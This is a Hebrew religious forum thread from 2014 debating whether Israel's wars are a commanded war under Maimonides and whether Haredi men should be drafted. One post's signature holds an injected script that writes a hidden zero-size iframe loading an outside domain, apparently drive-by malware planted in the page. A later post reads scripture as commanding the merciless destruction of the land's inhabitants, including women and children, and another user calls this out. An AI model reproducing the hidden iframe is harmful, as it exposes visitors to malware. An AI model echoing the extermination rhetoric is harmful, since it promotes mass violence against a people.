בית פורומים עצור כאן חושבים

ג' חלקים. על מלחמת מצווה, ועל גיוס

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-27/7/2014 12:46 לינק ישיר 
ג' חלקים. על מלחמת מצווה, ועל גיוס

.

חלק ראשון:

בהלכה הראשונה בפרק החמישי מהלכות מלכים ומלחמותיהם, הגדיר הרמב"ם מהי מלחמת מצווה:

אין המלך נלחם תחילה, אלא על מלחמת מצוה.  ואיזו היא מלחמת מצוהזו מלחמת שבעה עממים, ומלחמת עמלק, ועזרת ישראל מצר שבא עליהם.  ואחר כך נלחם במלחמת הרשותוהיא המלחמה שנלחם עם שאר העמים, כדי להרחיב גבול ישראל ולהרבות בגדולתו ושמעו.


חלק שני:

הבה נניח כי בבוקרו של יום טוב ראשון של סוכות, מגיע מן דהו לבית הכנסת נטול ארבעת המינים. הגיע זמן הנטילה - והנטול מסביר כי רק כעת הגיע זמן המצווה, ולכן לא הכין מראש את ארבעת המינים. "אני", הוא מסביר לסובבים אותו, "אני אינני עושה מצווה בטרם זמנה".

אך לשחוק יהיה, הלא כן?

כל ילד יודע כי יש מצוות שאי אפשר לקיים בזמנן, אם לא מתכוננים לפניכן. אי אפשר לנטול ארבעה מינים בזמן, אם לא מכינים אותם מבעוד יום. אי אפשר לאכול בשבת אם לא טורחים בערב שבת.


האם אפשר יהיה להלחם מלחמת מצווה בלי להתכונן לכך מראש?  האם לא יהיה לשחוק מי שיבוא ויבקש לקיים מצוות עזרת ישראל מצר שבא עליהם, והוא אינו מלומד מלחמה? אינו יודע מאיזה צד של הרובה להרכיב את הכוונת?



חלק שלישי:

"במה דברים אמורים שמחזירין אנשים אלו מערכי המלחמה, במלחמת הרשות.  אבל במלחמת מצוההכול יוצאין, אפילו חתן מחדרו וכלה מחופתה."






דווח על תוכן פוגעני

מנותק
נשלח ב-27/7/2014 13:27 לינק ישיר 

דבריך יפים.
אך אתה הרי יודע שחז"ל בטלו נטילת לולב בשבת שמא יעבירנו ד"א, חזינן שאפי' מצוות עשה דאורייתא ניתן לחכמים לבטל בגלל חשש עבירה, ומדובר במצוה עצמה ולא את ההכנה אליה, ולכן ניתן גם להבין את ביטול ההכנה למצוה של עורכי המלחמה, מחמת החשש שלא יגיעו לידי עברה.
(כמובן שאני יודע שניתן לחלק ולהתווכח, רק יש כאן תשובה מסויימת מעין השאלה).



דדווח על תוכן פוגעני

מנותק
נשלח ב-27/7/2014 13:36 לינק ישיר 

ראשית אתייחס להשואה,
מצןת לולב יש לו זמן קבוע והוא מצוה חיובית ,
הרמבם בפי המשניות כתב שגם להציל מיד צר הוא מלחמת רשות ,
הרמבם מדבר רק בשעה שיש מלוכה לישראל ולכן אתה מוזמן לנסוע לאוגנדה ולא להלחם,
עוד ועוד כבר דובר ונכתב רבות על שבט לוי ולא הם בלבד אלא....

ושוב מה לך כי תלין אחרי..http://www.bhol.co.il/Article.aspx?id=71451



דדווח על תוכן פוגעני

מחובר
נשלח ב-27/7/2014 13:41 לינק ישיר 

בר בי רב

ברוך השב!

מואדיב

איקון ירוק על הנושא.

אכן אין מלחמת מצוה בזמננו כמלחמת מצוה בזמנם, כי אין המלחמה שלנו כמלחמה שלהם.

בימי אבותינו, נניח דוד המלך, לוחמה לא חייבה הכשרה. (אם כי כמו בכל תחום, אפילו סבל, יש מקום לטכניקה כדי להשתפר ולהתייעל). כלי המלחמה היה חרב אבל גם מקל ארוך וחזק כמו ענף של עץ. והלוחם היה איכר או איש מקצוע עד לרגע שבו תקף האויב. מהרגע ההוא, תפס כל אחד בכלי השימושי הקרוב ויצא לקרב. אחד נגד אחד.

והיום? היום מלחמה היא התמקצעות. אפילו בדור של, נניח, מלחמת יום כיפורים, היה צריך ללמוד איך להתנהג בשדה הקרב. איך יורים ואיך משתמשים בכלל ברובה, איך מוצאים מחסה, איך מאתרים את האויב, ועוד ועוד.

וצריך היה לרכוש כושר גופני ועוד תכונות שאיני יודע את כולן.

לפיכך, מי שיקח אדם מן הישיבה או המשרד או מכל מקום לשדה הקרב בלי הכנה ארוכה, שולח אותו כמעט לההרג.

לפיכך, אם במלחמת מצוה יוצאים הכל, ואם מה שיש לנו כאן בארץ הוא מלחמת מצוה, אזי צריך להתגייס מראש כדי להקדיש חודשים להכנות הנאותות.

מדוע אם כן יש שסבורים שיש פטור מגיוס?

אני משער שהם יצביעו על כמה תנאים שאינם מתמלאים לדעתם.

א. פטור למי שעוסק בתורה. זאת בהתחשב על מדרש אודות חלוקת הלומדים והנלחמים.

ב. שדה הקרב של היום מצריך פחות לוחמים ויותר יכולת מקצועית. די ביחידות קטנות ויעילות. כלומר, לא צריך כל אחד בצבא כפי שהיה פעם. (יתכן שצריך שכל אחד יתמוך במובן של ספק שירותים או יפדה את שירותו בתשלום).

ג. יש חשש שהמתגייסים ייחשפו לעולם כה מפתה עד שלא יעמדו בנסיון ויתקלקלו.

ד. הצבא אינו מציע תנאים מינימליים הדרושים לשומר מצוות. וכאן יש כאלו שאינם יודעים הלכה כראוי וסבורים שהצבא אמור להבטיח להם בקביעות מנינים לתפילה איטית, כולל טבילה לפני תפילת שחרית, שחיטה בהידור המקובל עליהם, ועוד. ולא היא כמובן.

ויש גם המוסיפים את ה.

ה. המלחמות של המדינה הן זרות לציבור "שלנו" כי מעולם לא רצינו מדינה ומצידנו שיפרקו אותה ואדרבה, כך נעדיף, לחיות תחת עול גלות של ממשלת גויים, ויש לזה יתרונות מסויימים מצד ההלכה - לפי תפיסתם.

השאלה היא גם אם טענה ה היא נכונה וגם אם הדוגל בטענה כזו מסוגל לשמור על עקביות.

כשלעצמי, נראה לי שהסיבה הגדולה להימנעות מגיוס היא סעיף ג. הפחד להחשף. וכמדומה שהמחלוקות המשסעות את הציבור החרדי בחודשים או בשנים האחרונות אם להגיע בכלל ללשכת גיוס, מחלוקות אלו מתחילות מכאן: האם החרדי בן התורה הצעיר זקוק לחממה באופן מוחלט כדי לא להתקלקל.

__טעות הקלדה במספר סעיף תוקנה_______________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



תוקן על ידי מיימוני ב- 27/07/2014 13:41:44




דדווח על תוכן פוגעני

מנותק
נשלח ב-27/7/2014 13:48 לינק ישיר 

חסדא כתב:
ראשית אתייחס להשואה,
מצןת לולב יש לו זמן קבוע והוא מצוה חיובית ,
הרמבם בפי המשניות כתב שגם להציל מיד צר הוא מלחמת רשות ,
הרמבם מדבר רק בשעה שיש מלוכה לישראל ולכן אתה מוזמן לנסוע לאוגנדה ולא להלחם,
עוד ועוד כבר דובר ונכתב רבות על שבט לוי ולא הם בלבד אלא....

ושוב מה לך כי תלין אחרי..http://www.bhol.co.il/Article.aspx?id=71451



חסדא,

האם תוכל להביא מראה מקום למה שהבאת מפירוש המשנה? הרי דבר זה סותר לחלוטין את מה שפסק להלכה במשנה תורה.




דדווח על תוכן פוגעני

מנותק
נשלח ב-27/7/2014 13:53 לינק ישיר 

אני מסכים עם הרב מיימוני שנימוק ג' שהביא הוא עיקר הטעם לא להתגייס וזו אכן אחת ההגדרות המדוייקות ביותר לחרדיות: זה שמעדיף את העולם הבא של עצמו על פני העולם הזה של אחיו



דדווח על תוכן פוגעני

מנותק
נשלח ב-27/7/2014 14:11 לינק ישיר 

הרמבם בפירוש המשניות בסוף פרק ח דסוטה ,

והנה התייחסות בספר גופי הלכות,
אמנם מה שיש לתמוה בדברי רבינו שאיך קרא לעזרת ישראל מיד צר מצוה והא רבנן קרו ליה רשות ולא מצוה והיכי מזכי שטרא לבי תרי, למלחמת עמלק קרי מצוה כרבנן ולעזרת ישראל מיד צר קרי מצוה כר' יהודה, דלרבנן לא קרי אלא רשות ולא מצוה והעוסק בה חייב מצוה. ועוד דנפיק חורבא דלרבנן כל שקורא אותה מלחמת מצוה יוצא אפי' חתן מחדרו ובעזרת ישראל מיד צר לכו"ע חוזרין מעורכי המלחמה. ועוד שרבינו עצמו כתב בפי' המשנה היפך זה וז"ל ואמנם מחלקותם בהריגת ההורגים אותם ולהחלישם עד שלא יהרגו ישראל ולא ילחמו תנא קמא קורא לזה רשות ואחר שכאן מנה מלחמת עמלק מצוה כת"ק איך קרא מלחמת אויבים מצוה והא רבנן קרו ליה רשות דכפי זה עוסק בה חייב באחרת. וכבר חשבתי לומר דאיכא תרי גווני עזרת ישראל מיד צר, ההיא דגמרא דקרו רבנן רשות מיירי דלא באו עדיין אלא שהם מתפחדים שמא יבואו הגוים וזה שאמרו דלא ליתו גוים עלייהו אבל עדיין לא באו והא קרו רבנן רשות, אבל אם באו כבר להלחם קרו רבנן מצוה ובהא מיירי הרמב"ם ז"ל שכן כתב בעזרת גוים שבאו עליהם שכבר באו. וזה דוחק דהא איכא תרתי חלוקות בעזרת גוים ואיכא חלוקא דכולי עלמא מודו דאינו רשות אמאי משתמיט רבא מלהזכירה ונדי לחלוקת לרווחא. 



דדווח על תוכן פוגעני

מחובר
נשלח ב-27/7/2014 15:23 לינק ישיר 

פירוש המשניות אינה הלכה.
התורה מנתה את התנאיים לפטור, חז"ל לא ביטלו את התנאים לפתור ולא הוסיפו תנאים חדשים.
לפי התורה בפרשנותו של רבי יוסי הגלילי. רק את החרדים מותר לגיים למלחמה.

אבל בא נניח -כי ללומדי התורה מגיע פטור.

אבל כל החרדים בערי הקודש .המודדים את רחובותיה של קריה בהתנדבות, לית מען דפליג שהם לא פטורים.
ולמה נלחמים על הפטור שלהם גם .בחירוף נפש?

הדבר מעיד על עסקניהם- שלא בדיוק לימוד התורה טענתם, היא האיצטלא שעליה מדבר בריש גלי מקס.
אין לנו כל חלק במדינה הזו, ולכן אין לנו כל רצון לתת, רק לקחת, ולקחת הרבה זו מצווה.



דדווח על תוכן פוגעני

מנותק
נשלח ב-27/7/2014 15:28 לינק ישיר 

yerubaal כתב:

אני מסכים עם הרב מיימוני שנימוק ג' שהביא הוא עיקר הטעם לא להתגייסוזו אכן אחת ההגדרות המדוייקות ביותר לחרדיות: זה שמעדיף את העולם הבא של עצמו על פני העולם הזה של אחיו


האם אינך חושב שזה הגיוני? 70 שנה מספר היהודים הניצלים מול חיי נצח.

עד כמה שאני מכיר תלוי אצל מי, אצל הליטאים הנימוק העיקרי (לא היחידי) הוא לימוד התורה - הן ההגנה שהוא מספק והן החשש שגיוס יפגע בו. אצל החסידים הנימוק העיקרי הוא החשש מהדרדרות רוחנית.

ככל הידוע לי בסתירה בין פירוש המשניות ליד אזלי' בתר היד - או שאני טועה?




דדווח על תוכן פוגעני

מחובר
נשלח ב-27/7/2014 15:30 לינק ישיר 

ירובעל

בלי להיכנס לשאלה על נכונות הגדרתך, היא הזכירה לי את הכתוב בעמוס

"הוי המתאוים את יום ה' למה זה לכם יום ה' הוא חושך ולא אור... שנאתי מאסתי חגיכם ולא אריח בעצרותיכם... הסר מעלי המון שיריך... ויגל כמים משפט וצדקה כנחל איתן"



דדווח על תוכן פוגעני

מנותק
נשלח ב-27/7/2014 15:31 לינק ישיר 

מיימוני וכולם
ואולי יותר נוח לא להתגייס?



דדווח על תוכן פוגעני

מחובר
נשלח ב-27/7/2014 15:59 לינק ישיר 

גם נח יותר, גם בטוח יותר. גם אפשר לעשות כסף יותר לבלות בחו"ל יותר.



דדווח על תוכן פוגעני

מנותק
נשלח ב-27/7/2014 16:14 לינק ישיר 

.

חסדא - תודה.



דדווח על תוכן פוגעני

מנותק
נשלח ב-27/7/2014 16:21 לינק ישיר 

.





דדווח על תוכן פוגעני

מנותק
נשלח ב-27/7/2014 19:08 לינק ישיר 

הנושא כל כך נדוש כבר. הרי מה הטעם לצטט הלכות בלי להבין את הבסיס להלכות האלה מתי הם רלוונטיים ומתי לא.

ובכל זאת השבת למדנו מהן הבסיס הראשונית לכל השאר בהמשך כמו הלכות וכדומה.

במדבר פרק לג 

(נ) וַיְדַבֵּר יְקֹוָק אֶל מֹשֶׁה בְּעַרְבֹת מוֹאָב עַל יַרְדֵּן יְרֵחוֹ לֵאמֹר:
(נא) דַּבֵּר אֶל בְּנֵי יִשְׂרָאֵל וְאָמַרְתָּ אֲלֵהֶם כִּי אַתֶּם עֹבְרִים אֶת הַיַּרְדֵּן אֶל אֶרֶץ כְּנָעַן:
(נב) וְהוֹרַשְׁתֶּם אֶת כָּל (הדגש כאן הוא על ה"כל" ) יֹשְׁבֵי הָאָרֶץ מִפְּנֵיכֶם וְאִבַּדְתֶּם אֵת כָּל מַשְׂכִּיֹּתָם וְאֵת כָּל צַלְמֵי מַסֵּכֹתָם תְּאַבֵּדוּ וְאֵת כָּל בָּמוֹתָם תַּשְׁמִידוּ:
(נג) וְהוֹרַשְׁתֶּם אֶת הָאָרֶץ וִישַׁבְתֶּם בָּהּ כִּי לָכֶם נָתַתִּי אֶת הָאָרֶץ לָרֶשֶׁת אֹתָהּ:
(נד) וְהִתְנַחַלְתֶּם אֶת הָאָרֶץ בְּגוֹרָל לְמִשְׁפְּחֹתֵיכֶם לָרַב תַּרְבּוּ אֶת נַחֲלָתוֹ וְלַמְעַט תַּמְעִיט אֶת נַחֲלָתוֹ אֶל אֲשֶׁר יֵצֵא לוֹ שָׁמָּה הַגּוֹרָל לוֹ יִהְיֶה לְמַטּוֹת אֲבֹתֵיכֶם תִּתְנֶחָלוּ:

וכאן מגיע התנאי האולטימטיבית שבלעדיו לא מתחיל כלום, ואפי' יותר מיזה שבלעדיו האלוהים נגדינו כלומר יגרש אותנו מכאן כמו שרצה לגרש אותם מכאן.

(נה) וְאִם לֹא תוֹרִישׁוּ אֶת יֹשְׁבֵי הָאָרֶץ מִפְּנֵיכֶם וְהָיָה אֲשֶׁר תּוֹתִירוּ מֵהֶם לְשִׂכִּים בְּעֵינֵיכֶם וְלִצְנִינִם בְּצִדֵּיכֶם וְצָרֲרוּ אֶתְכֶם עַל הָאָרֶץ אֲשֶׁר אַתֶּם יֹשְׁבִים בָּהּ:
(נו) וְהָיָה כַּאֲשֶׁר דִּמִּיתִי לַעֲשׂוֹת לָהֶם אֶעֱשֶׂה לָכֶם

התורה והאלוהים מבטיחים מראש שאם נשאיר אותם כאן, אז הוא בעצמו יגרש אותנו מכאן. וזה מה שקורה במציאות.

המציאות היא שבמקום שיחשבו שיש לנו מצווה דתית להשמיד אנשים נשים וטף בלי רחם, כך שהם יברחו מכאן. אז אנו שולחים את הצעירי חמד עם נגמ"ש מדגם סוסיתא משנות השבעים  של המאה הקודמת להיות הרוגי מלכות.

לסיכום:
יש כאן ניסיון דבילי לגייס את הספרות היהודית לשם לשלוח ילדים לגוב האריות עם נגמ"ש מדגם סוסיתא,
בזמן שכל שר בממשלה מפחד לנסוע בתל אביב (בתוך הממלכה שלו עצמו) בלי מכונית משוריינת מדגם 2014 



דדווח על תוכן פוגעני

מנותק
נשלח ב-27/7/2014 20:07 לינק ישיר 

מקס, עכשיו אתה מטיף לטבח כל הערבים?

ד.א. לדעתך מוצא הפלסטינים מהכנענים?



דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > ג' חלקים. על מלחמת מצווה, ועל גיוס
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 לדף הבא סך הכל 2 דפים.

bholext